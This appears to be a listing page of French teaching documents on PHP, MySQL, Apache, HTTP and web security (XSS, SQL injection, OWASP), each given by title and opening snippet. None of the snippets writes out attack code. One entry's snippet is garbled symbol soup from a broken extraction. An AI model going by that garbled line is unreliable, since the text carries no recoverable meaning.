PHP et MySQL : notions de sécurité PHP et MySQL : notions de sécurité Jean-Baptiste.Vioix@u-bourgogne.fr Dans ces quelques lignes des notions de sécurité élémentaires vont être présentées. Elles sont insuffisantes pour toute application

Plus en détail

PHP - BD. PostgreSQL. Connexion (I) Présentation

PHP - BD. PostgreSQL. Connexion (I) Présentation PHP - BD PostgreSQL S. Lanquetin LE2I Aile sciences de l'ingénieur Bureau G206 sandrine.lanquetin@u-bourgogne.fr Présentation Connexion (I) PostgreSQL s'appuie sur le modèle relationnel mais apporte les

Plus en détail

PHP/MYSQL. Web Dynamique. ENSG Septembre 2009

PHP/MYSQL. Web Dynamique. ENSG Septembre 2009 PHP/MYSQL Web Dynamique ENSG Septembre 2009 Ces 6 jours de formation Jour 1 : présentations, attentes, principes, HTML Jour 2 : HTML, CSS, PHP Jour 3 : formulaires, connexion à la base de données Jour

Plus en détail

Roman Mkrtchian SI5-2012/2013 François Chapuis. Rapport de projet de WASP. Réalisation d'un site web sécurisé

Roman Mkrtchian SI5-2012/2013 François Chapuis. Rapport de projet de WASP. Réalisation d'un site web sécurisé Roman Mkrtchian SI5-2012/2013 François Chapuis Rapport de projet de WASP Réalisation d'un site web sécurisé Introduction Nous avons choisi de coder un blog sécurisé. Nous avons notamment codé nous-mêmes

Plus en détail

Pages Web dynamiques et bases de données

Pages Web dynamiques et bases de données Cours 2 Pages Web dynamiques et bases de données Une page Web dynamique est générée automatiquement grâce à l exécution d un script (PHP par exemple). C est le résultat de l exécution de ce script (code

Plus en détail

LSI2 Programmation Web TP n 4 du 17 décembre 2007

LSI2 Programmation Web TP n 4 du 17 décembre 2007 Page 1 sur 6 LSI2 Programmation Web TP n 4 du 17 décembre 2007 Corrigé des TPs précédents Le code source de la solution est fourni dans un fichier.zip téléchargeable à l adresse http://www.isitix.com/enssat/enssat20071217.zip

Plus en détail

MINI-PROJET : ETUDE D UN MECANISME DE REDIRECTION DE PAGES WEB POUR AUTHENTIFIER UN UTILISATEUR WIFI

MINI-PROJET : ETUDE D UN MECANISME DE REDIRECTION DE PAGES WEB POUR AUTHENTIFIER UN UTILISATEUR WIFI Claire Billaud - 3ème année IS MINI-PROJET : ETUDE D UN MECANISME DE REDIRECTION DE PAGES WEB POUR AUTHENTIFIER UN UTILISATEUR WIFI Page 1 sur 9 Principe : On veut faire en sorte que le réseau interne

Plus en détail

CREATION WEB DYNAMIQUE

CREATION WEB DYNAMIQUE CREATION WEB DYNAMIQUE III ) Programmation php III-1 ) Introduction Le PHP est un langage de script qui permet de dynamiser les sites web et générer des pages html selon des informations généralement stockées

Plus en détail

Application distribuée via HTTP Mise en œuvre minimale...

Application distribuée via HTTP Mise en œuvre minimale... Module RX : distrib/http Application distribuée via HTTP Mise en œuvre minimale... Problème de la distribution Fabrice Harrouet École Nationale d Ingénieurs de Brest harrouet@enib.fr http://www.enib.fr/~harrouet/

Plus en détail

Programmation Web. Thierry Hamon

Programmation Web. Thierry Hamon 1/27 Programmation Web Thierry Hamon Bureau H202 - Institut Galilée Tél. : 33 1.48.38.35.53 Bureau 150 LIM&BIO EA 3969 Université Paris 13 - UFR Léonard de Vinci 74, rue Marcel Cachin, F-93017 Bobigny

Plus en détail

PHP /MySQL Interface d'accès aux BDDs PDO. Youssef CHAHIR

PHP /MySQL Interface d'accès aux BDDs PDO. Youssef CHAHIR PHP /MySQL Interface d'accès aux BDDs PDO Youssef CHAHIR 1 PLAN Architecture Créer une interface PHP/MySQL : Établir une connexion Exécuter une requête Gérer les erreurs Exploiter les résultats de la requête

Plus en détail

Serveurs de noms Protocoles HTTP et FTP

Serveurs de noms Protocoles HTTP et FTP Nils Schaefer Théorie des réseaux (EC3a) Serveurs de noms Protocoles HTTP et FTP Théorie des réseaux (EC3a) Séance 7 Pourquoi DNS? Internet est une structure hiérarchique et arborescente de réseaux et

Plus en détail

[Tuto] Installation Serveur Davical + Synchro AD

[Tuto] Installation Serveur Davical + Synchro AD [Tuto] Installation Serveur Davical + Synchro AD Un serveur Davical est un serveur d'agendas partagés. Il permet aux utilisateurs d'avoir une gestion centralisée de leurs agenda, avec la possibilité de

Plus en détail

cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007 A t t a q u e s c o n t r e l e s a p p l i s w e b cedric.foll@(education.gouv.fr laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007 D e l ' u t i l i t é d e l ' a t t a

Plus en détail

Technologies du Web. Web et sécurité. Mastère spécialisé Management et nouvelles technologies, 23 novembre 2009

Technologies du Web. Web et sécurité. Mastère spécialisé Management et nouvelles technologies, 23 novembre 2009 Sécurité côté client Technologies du Web Web et sécurité Pierre Senellart (pierre.senellart@telecom-paristech.fr) Mastère spécialisé Management et nouvelles technologies, 23 novembre 2009 P. Senellart

Plus en détail

PHP /MySQL Interface d'accès aux BDDs PDO. Youssef CHAHIR

PHP /MySQL Interface d'accès aux BDDs PDO. Youssef CHAHIR PHP /MySQL Interface d'accès aux BDDs PDO Youssef CHAHIR 1 PLAN Architecture Interface phpmyadmin Créer une interface PHP/MySQL : Établir une connexion Exécuter une requête Gérer les erreurs Exploiter

Plus en détail

Apprendre à développer un site web

Apprendre à développer un site web Ce livre s adresse à un public de développeurs débutants connaissant déjà le HTML et les CSS et qui souhaitent bien comprendre le fonctionnement d une application web pour créer leurs propres sites web

Plus en détail

PHP et les Bases de données - Généralités

PHP et les Bases de données - Généralités PHP et les Bases de données - Généralités Conception d une base de données Méthodes utilisées : MERISE, UML Modèle conceptuel des données MCD, Modèle logique MLD, Modèle Physique MPD. Ces aspects seront

Plus en détail

Jusqu à 14 h : Open Questions! On vous explique ce que vous n avez pas compris lors de la première formation.

Jusqu à 14 h : Open Questions! On vous explique ce que vous n avez pas compris lors de la première formation. Bienvenue! Jusqu à 14 h : Open Questions! On vous explique ce que vous n avez pas compris lors de la première formation. Téléchargez les logiciels nécessaires pour cette formation : http ://formation-web.via.ecp.fr

Plus en détail

Programmation du Web : Présentation du protocole HTTP

Programmation du Web : Présentation du protocole HTTP Programmation du Web : Présentation du protocole HTTP Jean-Baptiste Vioix (jean-baptiste.vioix@iut-dijon.u-bourgogne.fr) IUT de Dijon-Auxerre - LE2I http://jb.vioix.free.fr 1-14 Présentation générale Le

Plus en détail

Systèmes d'informations

Systèmes d'informations Systèmes d'informations C'est un ensemble d'outils pour stocker / gérer / diffuser des informations / des données Le stockage : Bases de données + SGDBR La gestion : Saisie, Mise à jour, Contrôle La diffusion

Plus en détail

L3 informatique TP n o 2 : Les applications réseau

L3 informatique TP n o 2 : Les applications réseau L3 informatique TP n o 2 : Les applications réseau Sovanna Tan Septembre 2009 1/20 Sovanna Tan L3 informatique TP n o 2 : Les applications réseau Plan 1 Transfert de fichiers 2 Le Courrier électronique

Plus en détail

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS) PHP et mysql php_mysql PHP et mysql Code: php_mysql Originaux url: http://tecfa.unige.ch/guides/tie/html/php-mysql/php-mysql.html url: http://tecfa.unige.ch/guides/tie/pdf/files/php-mysql.pdf Auteurs et

Plus en détail

LES SCRIPTS CGI. Présentation Mise en œuvre La programmation Les variables d environnement

LES SCRIPTS CGI. Présentation Mise en œuvre La programmation Les variables d environnement LES SCRIPTS CGI Présentation Mise en œuvre La programmation Les variables d environnement LES SCRIPTS CGI Présentation Mise en œuvre La programmation Les variables d environnement OBJECTIFS Historiquement,

Plus en détail

Université Mohamed Premier Année universitaire 2014/2015. Module «Technologies du Web» ---------------------------- Feuille de TP 6 MYSQL/PHP

Université Mohamed Premier Année universitaire 2014/2015. Module «Technologies du Web» ---------------------------- Feuille de TP 6 MYSQL/PHP Université Mohamed Premier Année universitaire 2014/2015 Faculté des Sciences Filière SMI S6 Module «Technologies du Web» ---------------------------- Feuille de TP 6 MYSQL/PHP Exercice 1 : Testez les

Plus en détail

ARTICLE : élément de «base» contenant texte et ressources diverses. Peut avoir plusieurs statuts (visible ou non publiquement, entre autres),

ARTICLE : élément de «base» contenant texte et ressources diverses. Peut avoir plusieurs statuts (visible ou non publiquement, entre autres), Terminologie ARTICLE : élément de «base» contenant texte et ressources diverses. Peut avoir plusieurs statuts (visible ou non publiquement, entre autres), RUBRIQUE : contenant d'articles et/ou de rubriques

Plus en détail

Le Web. Présentation du langage HTML et du protocole HTTP

Le Web. Présentation du langage HTML et du protocole HTTP Le Web Présentation du langage HTML et du protocole HTTP Une petite histoire du web 1989 1ère note relative au web «hypertexte et le CERN» au sujet du World Wide Web. 1991 premier serveur web sur l Internet,

Plus en détail

Formation PHP/MySQL. Pierre PATTARD. Avril 2005

Formation PHP/MySQL. Pierre PATTARD. Avril 2005 Formation PHP/MySQL Pierre PATTARD Julien BENOIT Avril 2005 Le PHP Langage interprété, côté serveur pages interprétées par le serveur web pas de compilation, code éditable avec un bloc notes. aucune différences

Plus en détail

Cours Web : Introduction

Cours Web : Introduction Cours Web : Introduction Catherine Letondal letondal@pasteur.fr Institut Pasteur Cours Web IEB 2005 p.1/?? Pourquoi un cours Web? le Web : c est stratégique en biologie c est un bon exemple de système

Plus en détail

Le client/serveur dans le cas du Web

Le client/serveur dans le cas du Web Le client/serveur dans le cas du Web Olivier Flauzac & Cyril Rabat olivier.flauzac@univ-reims.fr cyril.rabat@univ-reims.fr Licence 3 Info - Info0503 - Introduction à la programmation client/serveur 2015-2016

Plus en détail

Pratique et administration des systèmes

Pratique et administration des systèmes Université Louis Pasteur Licence Informatique (L2) UFR de Mathématiques et Informatique Année 2007/2008 1 But du TP Pratique et administration des systèmes TP10 : Technologie LAMP Le but de ce TP est de

Plus en détail

PHP 4 PARTIE : BASE DE DONNEES

PHP 4 PARTIE : BASE DE DONNEES PHP 4 PARTIE : BASE DE DONNEES 1. Introduction 2. Présentation de MySQL 3. Principe 4. Connexion 5. Interrogation 6. Extraction des données 7. Fonctions de services 8. Traitement des erreurs 9. Travaux

Plus en détail

Vulnérabilités et sécurisation des applications Web

Vulnérabilités et sécurisation des applications Web OSSIR 09/09/2002 Vulnérabilités, attaques et sécurisation des applications Web Pourquoi les firewalls sont impuissants patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com Page 1 Planning

Plus en détail

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI OWASP Open Web Application Security Project Jean-Marc Robert Génie logiciel et des TI A1: Injection Une faille d'injection, telle l'injection SQL, OS et LDAP, se produit quand une donnée non fiable est

Plus en détail

Stockage du fichier dans une table mysql:

Stockage du fichier dans une table mysql: Stockage de fichiers dans des tables MYSQL avec PHP Rédacteur: Alain Messin CNRS UMS 2202 Admin06 30/06/2006 Le but de ce document est de donner les principes de manipulation de fichiers dans une table

Plus en détail

Interfaçage avec une base de données

Interfaçage avec une base de données Interfaçage avec une base de données Principe PHP propose de nombreux outils permettant de travailler avec la plupart des SGBD Oracle, Sybase, Microsoft SQL Server, PostgreSQL ou encore MySQL Php fournit

Plus en détail

Introduction Mysql API mysqli Annexe. Introduction à PHP. Web et SGBD : un exemple avec Mysql. IUT de Fontainebleau. 8 mars 2014. Introduction à PHP

Introduction Mysql API mysqli Annexe. Introduction à PHP. Web et SGBD : un exemple avec Mysql. IUT de Fontainebleau. 8 mars 2014. Introduction à PHP Web et SGBD : un exemple avec IUT de Fontainebleau 8 mars 2014 1 2 Modèle relationnel 3 4 listes des fonctions mysqli 1 2 Modèle relationnel 3 4 listes des fonctions mysqli Problématique Sites dynamiques

Plus en détail

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Failles XSS : Principes, Catégories Démonstrations, Contre mesures HERVÉ SCHAUER CONSULTANTS Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet Séminaire 15 ans HSC Failles XSS : Principes, Catégories Démonstrations,

Plus en détail

Apprendre à développer un site web avec PHP et MySQL Exercices pratiques et corrigés (2ième édition)

Apprendre à développer un site web avec PHP et MySQL Exercices pratiques et corrigés (2ième édition) Introduction 1. Objectif de l'ouvrage 13 2. Fonctionnement d un site web 13 Installation 1. Introduction 17 2. Installation d'easyphp 13.1 18 Les bases du langage PHP 1. Les balises 23 1.1 Syntaxe de base

Plus en détail

SERVEUR HTTP Administration d apache

SERVEUR HTTP Administration d apache 1 SERVEUR HTTP Administration d apache PLAN Introduction: Présentation HTTP; Installation et configuration d apache; VirtualHosts; Aliasing; Limitation d accès. 2 PROTOCOLE HTTP PRÉSENTATION HTTP : HyperText

Plus en détail

Apache. Un serveur web. Année 2007-08. Licence Pro. SIL. 1/36 Apache Année 2007-08

Apache. Un serveur web. Année 2007-08. Licence Pro. SIL. 1/36 Apache Année 2007-08 Apache Un serveur web Licence Pro. SIL Année 2007-08 1/36 Apache Année 2007-08 Introduction Apache est un serveur Web. Fondamentalement il délivre des fichiers par le protocole http à des clients. Les

Plus en détail

Inf340 Systèmes d information. Deuxième site : approche MVC

Inf340 Systèmes d information. Deuxième site : approche MVC Inf340 Systèmes d information Deuxième site : approche MVC Objectifs Objectif : Reprendre le site précédent en utilisant le patron de conception Modèle Vue Contrôleur. Comprendre l apport d un framework

Plus en détail

Attaques applicatives

Attaques applicatives Attaques applicatives Attaques applicatives Exploitation d une mauvaise programmation des applications Ne touche pas le serveur lui-même mais son utilisation/ configuration Surtout populaire pour les sites

Plus en détail

Guide d'installation de MapServer et PHP Mapscript

Guide d'installation de MapServer et PHP Mapscript Guide d'installation de MapServer et PHP Mapscript - Windows et Linux- Veremes 42, avenue des Jardins 66240 St Esteve http://www.veremes.com veremes@veremes.com Table des matières 1. Introduction...2

Plus en détail

Pour les débutants. langage de manipulation des données

Pour les débutants. langage de manipulation des données Pour les débutants SQL : langage de manipulation des données Les bases de données sont très utilisées dans les applications Web. La création, l interrogation et la manipulation des données de la base sont

Plus en détail

Sécuriser les applications web de l entreprise

Sécuriser les applications web de l entreprise LABORATOIRE SECURITE Sécuriser les applications web de l entreprise Mise en place de ModSecurity pour Apache Julien SIMON - 61131 Sommaire Présentation de la situation actuelle...3 Qu est ce qu un WAF?...5

Plus en détail

Audit Sécurité vendredi 13 novembre 2009 1

Audit Sécurité vendredi 13 novembre 2009 1 Audit Sécurité 1 Ordre du jour Présentation de l atelier Audit boîte noire Audit à code ouvert 2 Qui parle? Philippe Gamache Parler haut, interagir librement : audit de sécurité, formations Caviste de

Plus en détail

Serveur Web Apache - SSL - PHP Debian GNU/Linux

Serveur Web Apache - SSL - PHP Debian GNU/Linux Serveur Web Apache - SSL - PHP Debian GNU/Linux Matthieu Vogelweith 24 août 2009 Résumé L objectif de ce document est de détailler l installation d un serveur Web Apache [1] complet sous Debian GNU/Linux

Plus en détail

Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 1

Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 1 Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 1 Defacing... nicolas.hernandez@univ-nantes.fr Sécurité 2 Sécurité Applications sécurisées Vulnérabilités des applications web Sécuriser la conception

Plus en détail

Sécurité web et PHP 5

Sécurité web et PHP 5 Web Formulaires SQL Sessions Fichiers Auth Env Fin Sécurité web et PHP 5 François Gannaz - SILECS Web Formulaires SQL Sessions Fichiers Auth Env Fin Règles d or de la sécurité Bonnes pratiques Gestion

Plus en détail

Instruction d installation de GIMACO

Instruction d installation de GIMACO IDENTIFICATION DU DOCUMENT Objet Procédure d installation de l application GIMACO Référence IN 1258 INF XXX VB - Installation de GIMACO.doc Numéro de version 3.0 Statut Valide Auteur(s) David Pujol, Stéphane

Plus en détail

Coagul - Installation - Sécurisation Apache2 sur une Debian Sarge.

Coagul - Installation - Sécurisation Apache2 sur une Debian Sarge. 1 sur 5 29/10/2008 15:11 Installation - Sécurisation Apache2 sur une Debian Sarge. - Installation des packages : apt-get install apache2 apt-get install openssl Rubrique : Serveurs Le : samedi 24 décembre

Plus en détail

Bases de données (INF225), TELECOM ParisTech. TP PHP & MySQL

Bases de données (INF225), TELECOM ParisTech. TP PHP & MySQL Bases de données (INF225), TELECOM ParisTech TP PHP & MySQL Pierre Senellart (pierre.senellart@telecom-paristech.fr) Bogdan Cautis (bogdan.cautis@telecom-paristech.fr) Ioana Ileana (ioana.ileana@telecom-paristech.fr)

Plus en détail

PHP 5. Sécurité. et MySQL. D a m i e n S e g u y. P h i l i p p e G a m a c h e. P r é f a c e d e R a s m u s L e r d o r f

PHP 5. Sécurité. et MySQL. D a m i e n S e g u y. P h i l i p p e G a m a c h e. P r é f a c e d e R a s m u s L e r d o r f Sécurité PHP 5 et MySQL D a m i e n S e g u y P h i l i p p e G a m a c h e P r é f a c e d e R a s m u s L e r d o r f Groupe Eyrolles, 2007, ISBN : 1978-2-212-12 14-8 108 Mesures de sécurité pour PHP

Plus en détail

Vulnérabilités et sécurisation des applications Web

Vulnérabilités et sécurisation des applications Web Rencontres SPIRAL 25/02/03 Vulnérabilités et sécurisation des applications Web Pourquoi les firewalls sont impuissants face à certaines attaques patrick.chambet@edelweb.fr http://www.edelweb.fr http://www.chambet.com

Plus en détail

Le langage PHP permet donc de construire des sites web dynamiques, contrairement au langage HTML, qui donnera toujours la même page web.

Le langage PHP permet donc de construire des sites web dynamiques, contrairement au langage HTML, qui donnera toujours la même page web. Document 1 : client et serveur Les ordinateurs sur lesquels sont stockés les sites web sont appelés des serveurs. Ce sont des machines qui sont dédiées à cet effet : elles sont souvent sans écran et sans

Plus en détail

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON Tech-Evenings Sécurité des applications Web Sébastien LEBRETON Pourquoi revoir la sécurité des applications Web Des technologies omniprésentes Facilité de mise en œuvre et de déploiement. Commerce en ligne,

Plus en détail

Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info)

Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info) 1 Généralités Aide-mémoire minimal pour la sécurité en PHP François Gannaz (francois.gannaz@silecs.info) 1.1 Principes fondamentaux Evaluer le risque potentiel de l'application : diusion, données sensibles...

Plus en détail

Vulnérabilités logicielles Injection SQL. Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI

Vulnérabilités logicielles Injection SQL. Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI Vulnérabilités logicielles Injection SQL Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI 1 Plan SQL Injection SQL Injections SQL standards Injections SQL de requêtes

Plus en détail

cai ingénierie CADASTRE GEOLOGIQUE 1.6 Centre du Bief Chemin des Mouettes 1 Case postale 18 CH - 1027 Lonay Tél. 021 804 66 77 Fax 021 804 66 70

cai ingénierie CADASTRE GEOLOGIQUE 1.6 Centre du Bief Chemin des Mouettes 1 Case postale 18 CH - 1027 Lonay Tél. 021 804 66 77 Fax 021 804 66 70 ingénierie RELEASE NOTICE CADASTRE GEOLOGIQUE 16 Centre du Bief Chemin des Mouettes 1 Case postale 18 CH - 1027 Lonay Tél 021 804 66 77 Fax 021 804 66 70 Impr : 25082010 Version: 16 #release_notice_fr_v16-

Plus en détail

Headers, cookies et sessions

Headers, cookies et sessions Headers, cookies et sessions Chargement de fichiers (upload) Entêtes HTTP et redirections Gestion des cookies et des sessions de connexions Authentification Validation des données Programmation avancée

Plus en détail

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS FOURNIER VINCENT 29/04/2015 1.2 Ce tutoriel est réalisé sous debian 7.7 avec une synchronisation

Plus en détail

Internet et applications dans l entreprise (4) PHP

Internet et applications dans l entreprise (4) PHP Licence professionnelle «Management des organisations» Option «Systèmes d information et Réseaux» Internet et applications dans l entreprise (4) PHP 2009-2010 PHP... 3 Balises PHP... 3 Variables, formatage

Plus en détail

# % & & & ' & & %( (# & & %( )* & -+) " &",.+ & " $/ " - 01) " $ " $2 " 3 " /4# " %/(4( ", "

# % & & & ' & & %( (# & & %( )* & -+)  &,.+ &  $/  - 01)  $  $2  3  /4#  %/(4( , PHP/apache # $$ % & & & ' & & %( (# & & %( )* & $(( +( && ( #(, & -+) " &",.+ & " $/ " - 01) " $ " $2 " 3 " /4# " %/(4( ", "!"!!" 1 Préambule -# 54(6!!333) )!(7+!+4#8 -# )( ( (( 9 $$(: ## ; ( - # < = 1

Plus en détail

Dolibarr Installation

Dolibarr Installation Dolibarr Installation Rodolphe Quiédeville $Id: dolibarr-install.sgml,v 1.9 2003/10/27 10:04:58 rodolphe Exp $ Installation et mise à jour de Dolibarr Contents 1 Installation 1 1.1 Récupérer les sources.........................................

Plus en détail

OWASP Top Ten 2007 Sommaire exécutif

OWASP Top Ten 2007 Sommaire exécutif OWASP Top Ten 2007 Sommaire exécutif Benoit Guerette, gueb@owasp.org Montreal Chapter Leader 24 février 2009 OWASP Education Project Copyright 2007 The OWASP Foundation Permission is granted to copy, distribute

Plus en détail

CREATION WEB DYNAMIQUE

CREATION WEB DYNAMIQUE CREATION WEB DYNAMIQUE IV ) MySQL IV-1 ) Introduction MYSQL dérive directement de SQL (Structured Query Language) qui est un langage de requêtes vers les bases de données relationnelles. Le serveur de

Plus en détail

PHP/MYSQL. Web Dynamique

PHP/MYSQL. Web Dynamique PHP/MYSQL Web Dynamique ENSG Juin 2008 Qui suis-je? Guillaume Gautreau Responsable projets Systèmes d information à l ENPC guillaume@ghusse.com http://www.ghusse.com Ces 6 jours de formation Jour 1 : présentations,

Plus en détail

PHP Et Les Bases De Données 22 février 2006

PHP Et Les Bases De Données 22 février 2006 Conservatoire National des Arts et Métiers FOD Ile de France UE NFA054 PHP Et Les Bases De Données 22 février 2006 Version Auteur Commentaires 22 février 2006 Florent Brusciano Version Initiale Tous droits

Plus en détail

Vulnérabilités logicielles Injection SQL

Vulnérabilités logicielles Injection SQL MGR850 Hiver 2014 Vulnérabilités logicielles Injection SQL Hakima Ould-Slimane Chargée de cours École de technologie supérieure (ÉTS) Département de génie électrique 1 Plan SQL Injection SQL Injections

Plus en détail

(structure des entêtes)

(structure des entêtes) Aide mémoire HTTP (structure des entêtes) Fabrice HARROUET École Nationale d Ingénieurs de Brest http://www.enib.fr/~harrouet/ enib 1/10 Structure générale d une requête Requête HTTP méthode ressource

Plus en détail

Université Toulouse 1 Capitole

Université Toulouse 1 Capitole Evaluation d un reverse proxy en sécurité par défaut Université Toulouse 1 Capitole Mardi 1er Juillet 2014 RéSIST : Reverse proxy 1/29 Contexte Stage de deuxième année de DUT informatique Pendant 2 mois

Plus en détail

HTTP-Serveur. Références

HTTP-Serveur. Références HTTP-Serveur Jean-François Berdjugin IUT1, département SRC, L Isle d Abeau Références http://www.apache.org/ http://www.lealinux.org/cached/index/reseau-webapache_conf.html RFC 2616 1 Plan HTTP 1.1 Les

Plus en détail